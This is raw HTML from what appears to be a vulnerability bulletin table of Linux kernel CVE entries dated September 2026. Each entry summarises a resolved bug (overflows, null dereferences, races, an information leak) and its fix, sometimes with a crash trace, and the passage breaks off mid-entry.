&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: Let driver decide buffer size at AMDKFD_IOC_GET_DMABUF_INFO ioctl amdkfd driver needs allocate buffer to return bo metadata to user space. The buffer size is controlled by user currently. It is a potential security issue that hostile value (e.g. 2 GiB) lets any render-group user trigger order-MAX allocation/OOM in kernel context. This patch first finds bo metadata size. If the size is smaller than user provided value drive can safely allocate buffer in kernel space and copy to user space buffer. If not, driver will let user know, not allocate and copy. User will redo with new buffer in user space. This patch lets driver decide buffer allocation size to avoid potential hostile size from user space. (cherry picked from commit f54ce9e8cbd3abe0eda3a285f54dc4f572fe589a)&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93823&quot; target=&quot;_blank&quot;&gt;CVE-2026-93823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: tls: reject the combination of TLS and sockmap TLS and sockmap (BPF psock) integration hides a lot of latent bugs. Bugs which may be more or less relevant for real users but they are definitely exploitable. We could not find anyone actively using this integration so let&#039;s reject this config. Adding a TLS socket to a sockmap was already rejected by sk_psock_init() through the inet_csk_has_ulp() check. We need to reject the attempts to configure the TLS keys (rather than adding the ULP itself) because checking prior to the ULP installation is tricky without risking a race with sockmap getting added in parallel (sockmap does not hold the socket lock). This patch is a minimal rejection of the feature. Subsequent patch in the series will do a light dead code removal. Full cleanup would require a major rewrite of the Tx path, we don&#039;t need skmsg any more.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93824&quot; target=&quot;_blank&quot;&gt;CVE-2026-93824&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: spi: Add NULL check for spi_get_device_id() in spi_get_device_match_data() Prevent NULL pointer dereference when spi_get_device_id() returns NULL, which can happen when using driver_override without matching SPI ID entry.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93825&quot; target=&quot;_blank&quot;&gt;CVE-2026-93825&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: exfat: fix handling of damaged volume in exfat_create_upcase_table() When the size of the upcase table is set to zero in the dentry for any reason(e.g. corrupted media or misbehaving device), an integer overflow causes the module to loop indefinitely. If the size of the upcase table is read zero, do not attempt to load the table. Instead, fallback to loading the default upcase table. If the size of the upcase table is zero or no upcase table is found, raise exfat_fs_error() to mark the volume read-only.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93828&quot; target=&quot;_blank&quot;&gt;CVE-2026-93828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb: client: fix races in cifsd thread creation The cifsd demultiplex thread can run and access tcp_ses before the parent thread has finished populating tcp_ses, which the worker thread accesses locklessly. Also, the kthread_run macro may start the thread before returning the thread pointer. Because the pointer is part of the structure that the thread can access, if the kernel is preempted after the thread is spawned, but before the thread pointer is populated and the thread attempts to exit, it will sleep, waiting for a SIGKILL signal. Fix this by moving creation of the thread to after all of tcp_ses&#039;es fields are populated, and spawning the thread last, using a split kthread_create/wake_up_process logic.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93829&quot; target=&quot;_blank&quot;&gt;CVE-2026-93829&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: rockchip: rockchip_pdm: Handle runtime PM resume failures in set_fmt rockchip_pdm_set_fmt() calls pm_runtime_get_sync() before accessing hardware registers, but ignores its return value. If the runtime resume fails, the function continues to perform register accesses while the device state is undefined. Replace pm_runtime_get_sync() with pm_runtime_resume_and_get() and return early on failure to avoid unpowered register accesses.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97407&quot; target=&quot;_blank&quot;&gt;CVE-2026-97407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: validate connectionless PSM length Connectionless L2CAP frames carry a two-byte PSM at the start of the payload. l2cap_recv_frame() currently reads that PSM unconditionally after validating only the outer L2CAP length. A malformed connectionless frame with a zero- or one-byte payload can therefore make the parser read beyond the advertised skb payload and use tailroom bytes as part of the PSM. A VHCI-backed QEMU reproducer injected a one-byte connectionless payload and reached the unchecked read. Reject connectionless frames that cannot contain the PSM before reading or pulling it. This preserves all valid connectionless frames while dropping only structurally incomplete packets.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97408&quot; target=&quot;_blank&quot;&gt;CVE-2026-97408&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netconsole: take target_cleanup_list_lock in drop_netconsole_target() drop_netconsole_target() unlinks the target while only holding target_list_lock. However, when the underlying interface has been unregistered, netconsole_netdev_event() moves the target from target_list to target_cleanup_list, and netconsole_process_cleanups_core() walks that list under target_cleanup_list_lock only. If a user removes the configfs target at the same time the cleanup worker is iterating target_cleanup_list, list_del() can corrupt the list because the two paths take disjoint locks while operating on the same list node. Acquire target_cleanup_list_lock around the list_del() so the unlink is serialised against netconsole_process_cleanups_core() regardless of which list the target currently belongs to. The state transition that downgrades STATE_DEACTIVATED to STATE_DISABLED is left intact and is performed under the same combined locking, preserving the existing ordering with resume_target().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97410&quot; target=&quot;_blank&quot;&gt;CVE-2026-97410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: ibm: emac: mal: fix potential system hang in mal_remove() napi_disable() is not idempotent and calling it on an already-disabled or unenabled NAPI context will cause the kernel to spin indefinitely waiting for the NAPI_STATE_SCHED bit to clear. In mal_remove(), napi_disable() is called unconditionally. If no MACs were registered, NAPI was never enabled. Also, if they were registered but subsequently unregistered, NAPI was already disabled in mal_unregister_commac(). In either case, calling napi_disable() causes the kernel to hang upon module removal. Fix this by only calling napi_disable() in mal_remove() if the commac list is not empty (which implies NAPI is enabled).&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97411&quot; target=&quot;_blank&quot;&gt;CVE-2026-97411&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: pds_core: quiesce DMA before freeing resources pdsc_teardown() frees DMA buffers but does not disable bus mastering, leaving the device able to perform DMA after the buffers are freed. This can lead to use-after-free if the device writes to freed memory. Add pci_clear_master() to pdsc_teardown() to disable bus mastering before freeing resources, ensuring all DMA is quiesced. Add pci_set_master() to pdsc_setup() to re-enable bus mastering, which is needed for the firmware recovery path since pdsc_teardown() now disables it.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97412&quot; target=&quot;_blank&quot;&gt;CVE-2026-97412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: mediatek: mt8365-afe-pcm: fix possible NULL-pointer dereferences in mt8365_afe_suspend() mt8365_afe_suspend() allocates the register backup buffer with devm_kcalloc(), but does not check for allocation failure before using the returned pointer. This may lead to a NULL pointer dereference when accessing afe-&amp;gt;reg_back_up[i]. Add the missing NULL check and return -ENOMEM on allocation failure after disabling the main clock. Also propagate the return value of mt8365_afe_suspend() in mt8365_afe_dev_runtime_suspend() so that the suspended state is not updated when suspend fails.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97414&quot; target=&quot;_blank&quot;&gt;CVE-2026-97414&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: balance: fix potential bg lookup failure in btrfs_may_alloc_data_chunk() [BUG] Running btrfs balance can trigger a null-ptr-deref before relocating a data chunk when metadata corruption leaves a chunk in the chunk tree without a corresponding block group in the in-memory cache: KASAN: null-ptr-deref in range [0x0000000000000088-0x000000000000008f] RIP: 0010:btrfs_may_alloc_data_chunk+0x40/0x1c0 fs/btrfs/volumes.c:3601 Call Trace: __btrfs_balance fs/btrfs/volumes.c:4217 [inline] btrfs_balance+0x2516/0x42b0 fs/btrfs/volumes.c:4604 btrfs_ioctl_balance fs/btrfs/ioctl.c:3577 [inline] btrfs_ioctl+0x25cf/0x5b90 fs/btrfs/ioctl.c:5313 ... [CAUSE] __btrfs_balance() iterates the on-disk chunk tree and passes the chunk logical bytenr to btrfs_may_alloc_data_chunk() before relocating a data chunk. That helper then queries the in-memory block group cache: cache = btrfs_lookup_block_group(fs_info, chunk_offset); chunk_type = cache-&amp;gt;flags; /* cache may be NULL */ A corrupt image can contain a chunk item whose matching block group item is missing, so no block group is ever inserted into the cache. In that case btrfs_lookup_block_group() returns NULL. The code only guards this with ASSERT(cache), which becomes a no-op when CONFIG_BTRFS_ASSERT is disabled. The subsequent dereference of cache-&amp;gt;flags therefore crashes the kernel. [FIX] Add a NULL check after btrfs_lookup_block_group() in btrfs_may_alloc_data_chunk() and print and error message for clarity.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97416&quot; target=&quot;_blank&quot;&gt;CVE-2026-97416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: es18xx: check control allocation before private data setup snd_es18xx_mixer() creates controls with snd_ctl_new1() and then stores bookkeeping pointers or sets private_free before calling snd_ctl_add(). snd_ctl_new1() can return NULL on allocation failure, so those writes can dereference a NULL control pointer. Check the returned control pointers before using them and return -ENOMEM on allocation failure.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97418&quot; target=&quot;_blank&quot;&gt;CVE-2026-97418&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: hsr: broadcast netlink notifications in the device&#039;s net namespace The HSR generic netlink family sets .netnsok = true. HSR devices can live in network namespaces other than init_net. Two async notifiers broadcast events with genlmsg_multicast(). They are hsr_nl_ringerror() and hsr_nl_nodedown(). That helper delivers only on the default genl socket in init_net. So the events always land in init_net. The network namespace of the device does not matter. This has two effects. A listener in the device&#039;s own namespace never sees its own ring error and node down events. A privileged listener in init_net receives events from HSR devices in other namespaces. The payload carries the peer node MAC (HSR_A_NODE_ADDR) and the slave port ifindex (HSR_A_IFINDEX). Switch both callers to genlmsg_multicast_netns(). Other families with .netnsok = true already do this. Examples are gtp, ovpn, team, batman-adv, netdev-genl, ethtool and handshake. hsr_nl_ringerror() already has the slave port. It uses dev_net(port-&amp;gt;dev). hsr_nl_nodedown() takes the namespace from the master port via hsr_port_get_hsr().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97419&quot; target=&quot;_blank&quot;&gt;CVE-2026-97419&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: NUL-terminate replaced sysctl value When writing to sysctls, proc_sys_call_handler() guarantees that the buffer passed to proc handlers is NUL-terminated. If bpf_sysctl_set_new_value() replaces the pending sysctl value, it can hand a replacement buffer directly to proc handlers. However, the helper currently copies only buf_len bytes into that buffer without appending a NUL terminator, leaving downstream parsers vulnerable to out-of-bounds access. Fix this by appending a &#039;\0&#039; after the replaced value to restore the expected sysctl semantics. Since the helper already rejects buf_len greater than PAGE_SIZE - 1, there is always room for the extra byte. Reproduced in a QEMU x86_64 guest booted with KASAN while exercising the sysctl replacement path with a cgroup/sysctl BPF program. The reproducer targets `/proc/sys/net/core/flow_limit_cpu_bitmap`, fills the original user write buffer with non-zero bytes, and overrides the sysctl value so the replacement buffer lacks a terminating NUL. Under that setup, the pre-fix kernel reported: BUG: KASAN: slab-out-of-bounds in strnchrnul+0x72/0x90 Read of size 1 at addr ffff88800de57000 by task repro_patch3/66 CPU: 0 UID: 0 PID: 66 Comm: repro_patch3 Not tainted 7.1.0-rc3-00269-g8370ca1f87cc #6 PREEMPT(lazy) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 Call Trace: &amp;lt;TASK&amp;gt; dump_stack_lvl+0x68/0xa0 print_report+0xcb/0x5e0 ? __virt_addr_valid+0x21d/0x3f0 ? strnchrnul+0x72/0x90 ? strnchrnul+0x72/0x90 kasan_report+0xca/0x100 ? strnchrnul+0x72/0x90 strnchrnul+0x72/0x90 bitmap_parse+0x37/0x2e0 flow_limit_cpu_sysctl+0xc6/0x840 ? __pfx_flow_limit_cpu_sysctl+0x10/0x10 ? __kvmalloc_node_noprof+0x5ba/0x870 proc_sys_call_handler+0x31d/0x480 ? __pfx_proc_sys_call_handler+0x10/0x10 ? selinux_file_permission+0x39f/0x500 ? lock_is_held_type+0x9e/0x120 vfs_write+0x98e/0x1000 ... &amp;lt;/TASK&amp;gt; The buggy address is located 0 bytes to the right of allocated 4096-byte region [ffff88800de56000, ffff88800de57000) With this fix applied, rerunning the same sysctl-targeted path yields no corresponding KASAN reports.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97420&quot; target=&quot;_blank&quot;&gt;CVE-2026-97420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: fix SMI event cross-process information leak kfd_smi_ev_enabled() skips the suser privilege check when pid=0. PROCESS_START, PROCESS_END, and VMFAULT events are emitted with pid=0 while carrying another process&#039;s PID and command name, so any /dev/kfd user in the render group can monitor all GPU workloads. Pass the target process PID into kfd_smi_event_add() for these events so the existing per-client filter restricts delivery to the owning process or CAP_SYS_ADMIN subscribers.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97422&quot; target=&quot;_blank&quot;&gt;CVE-2026-97422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cxl/region: Validate partition index before array access construct_region() reads cxled-&amp;gt;part and uses it to index cxlds-&amp;gt;part[] without checking for a negative value. If the partition was never resolved, part remains at its initial value of -1, causing an out-of-bounds array access. Add a guard to return -EBUSY when part is negative. The check was dropped during a merge.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97423&quot; target=&quot;_blank&quot;&gt;CVE-2026-97423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/ras: add ras_suspend callback and use it for cp_ecc_error_irq cp_ecc_error_irq is acquired in amdgpu_gfx_ras_late_init() but released in gfx_v9_0_hw_fini(), so the put site has to query amdgpu_irq_enabled() because the get is skipped on SR-IOV VF. ras_late_init / ras_fini have no suspend counterpart, so move the put to amdgpu_gfx_ras_suspend() / amdgpu_gfx_ras_fini() and add a matching ras_suspend callback that is invoked from amdgpu_ras_suspend() before disable_all_features(). The get and put now sit in the same place and check the same condition (not VF, funcs registered), no refcount querying needed. An active flag gates ras_fini so the suspend-then-unload-without-resume path falls into amdgpu_ras_block_late_fini_default() instead of double-releasing what ras_suspend already cleaned up. Drop the cp_ecc_error_irq put from gfx_v9_0_hw_fini(). gfx_v8_0 manages cp_ecc_error_irq locally and is unaffected; no other GFX generation has this IRQ.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97424&quot; target=&quot;_blank&quot;&gt;CVE-2026-97424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: fix buffer overflow during vBIOS update Clamp the buffer postion to write by setting the bin attribute to the maximum buffer size so that VFS layer will block the out-of-bounds accessing.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97425&quot; target=&quot;_blank&quot;&gt;CVE-2026-97425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/pm: fix SmartShift bias sysfs store PM refcount on parse error Return the parse error before acquiring PM access.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97426&quot; target=&quot;_blank&quot;&gt;CVE-2026-97426&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/pm: bound pp_dpm_set_pp_table() memcpy The powerplay path allocates hardcode_pp_table once with kmemdup(..., soft_pp_table_size). memcpy(..., size) used the sysfs store count (up to PAGE_SIZE) with no upper bound, causing heap overflow. Reject writes where size exceeds soft_pp_table_size.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97427&quot; target=&quot;_blank&quot;&gt;CVE-2026-97427&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: xhci: Prevent queuing new commands if xhci is inaccessible Refuse to queue a new command on the command ring if xHC is marked inaccessible with the HCD_FLAG_HW_ACCESSIBLE. HCD_FLAG_HW_ACCESSIBLE is set and cleared in suspend and resume. Also print a warning if xhci is being suspended with commands still pending on the command ring.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97430&quot; target=&quot;_blank&quot;&gt;CVE-2026-97430&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Avoid DPMS-on for phantom stream [Why &amp;amp; How] Calling dc_update_planes_and_stream separately for stream and its phantom stream causes a NULL pointer dereference, since the phantom is destroyed on the first call. Skip the call for phantom streams.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97431&quot; target=&quot;_blank&quot;&gt;CVE-2026-97431&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mvm: fix P2P-Device binding handling Our binding handling for P2P-Device can run into the following scenario, as observed by our testing: - a station interface is connected on some channel - the P2P-Device does a remain-on-channel (ROC) on that channel - the ROC ends, and the P2P-Device is removed from the binding, but the phy_ctxt pointer is left around as a PHY cache so we don&#039;t need to recalibrate to the channel again and again in case it&#039;s not shared - a binding update by the station interface, even a removal, will re-add the P2P-Device to the binding - the P2P-Device is removed, which removes the PHY context, but it&#039;s still in the binding so the firmware crashes Since the P2P device is removed from the binding and only re- added by unrelated code, but we want to keep the phy_ctxt around as a cache for future ROC usage, fix it by adding a boolean that indicates whether or not the P2P-Device should be added to the binding, and handle that in the binding iterator. That way, the station interface cannot re-add the P2P-Device to the binding when that isn&#039;t active.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97432&quot; target=&quot;_blank&quot;&gt;CVE-2026-97432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dpaa2-switch: fix handling of NAPI on the remove path All the NAPI instances for a DPSW device are attached to the first switch port&#039;s net_device but shared by all ports. The NAPI instances get disabled only once the last port goes down. This causes an issue on the .remove() path where each port is unregistered and freed one at a time, causing the NAPI instances to be deleted even though they are not disabled. In order to avoid this, split up the unregister_netdev() calls from the free_netdev() so that we make sure all ports go down before we attempt a deletion of NAPI instances. Also, make the netif_napi_del() explicit as it is on the .probe() path.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97434&quot; target=&quot;_blank&quot;&gt;CVE-2026-97434&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: dsa: sja1105: flower: reject cross-chip redirect dsa_port_from_netdev() may return a valid port from a different switch chip. Programming another chip&#039;s port index into the local hardware causes redirection to the wrong port, or an out-of-bounds access if the index exceeds the local chip&#039;s port count. Apply a minimal fix that adds a check to catch this case and adjusts the extack message. When cls-&amp;gt;common.skip_sw is not set, the operation could instead redirect to the upstream port and let the software or upstream switch(es) handle the forward, but that is not addressed here.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97435&quot; target=&quot;_blank&quot;&gt;CVE-2026-97435&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dpaa2-switch: rework FDB management on the bridge leave path On bridge leave, the dpaa2_switch_port_set_fdb() function always allocates a new FDB for the port which is becoming standalone. In case no FDB is found, then the port leaving a bridge will continue to use the current one. The above logic does not cover the case in which there are multiple bridges which have ports from the same DPSW instance. In this case, when the last port leaves bridge #1, it finds an unused FDB to switch to, but the old FDB is not marked as unused. Since the number of FDBs is equal to the number of DPSW interfaces, this will eventually lead to multiple ports sharing the same FDB. Fix this by changing how we are managing the FDBs on the leave path. Instead of directly allocating a new FDB, first verify if the current port is the last one to leave a bridge. If this is the case, then continue to use the current FDB and only allocate another FDB if there are other ports remaining in the bridge.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97436&quot; target=&quot;_blank&quot;&gt;CVE-2026-97436&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: preserve non-DOS attribute bits in system.dos_attrib [BUG] A corrupted ntfs3 image can hit a NULL function pointer call in generic_perform_write() after toggling system.ntfs_attrib and then overwriting system.dos_attrib on the same file. BUG: kernel NULL pointer dereference, address: 0000000000000000 \#PF: supervisor instruction fetch in kernel mode \#PF: error_code(0x0010) - not-present page PGD bed5067 P4D bed5067 PUD 0 Oops: Oops: 0010 [#1] SMP KASAN NOPTI RIP: 0010:0x0 Code: Unable to access opcode bytes at 0xffffffffffffffd6. RSP: 0018:ffff88801025f988 EFLAGS: 00010246 Call Trace: generic_perform_write+0x409/0x8c0 mm/filemap.c:4255 __generic_file_write_iter+0x1bb/0x200 mm/filemap.c:4372 ntfs_file_write_iter+0xcd9/0x1c20 fs/ntfs3/file.c:1253 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x63b/0xf70 fs/read_write.c:686 ksys_write+0x133/0x250 fs/read_write.c:738 __do_sys_write fs/read_write.c:749 [inline] __se_sys_write fs/read_write.c:746 [inline] __x64_sys_write+0x77/0xc0 fs/read_write.c:746 ... [CAUSE] system.ntfs_attrib updates ATTR_DATA flags via ni_new_attr_flags() and switches i_mapping-&amp;gt;a_ops to ntfs_aops_cmpr when FILE_ATTRIBUTE_COMPRESSED is set. system.dos_attrib then overwrites ni-&amp;gt;std_fa from a one-byte DOS attribute value, clearing the compression bit without updating ATTR_DATA or the mapping operations. Old buffered writes use is_compressed(ni) to choose __generic_file_write_iter(). That leaves generic_perform_write() calling a NULL write_begin callback from ntfs_aops_cmpr. [FIX] Treat system.dos_attrib as a low-byte DOS attribute update and preserve the existing 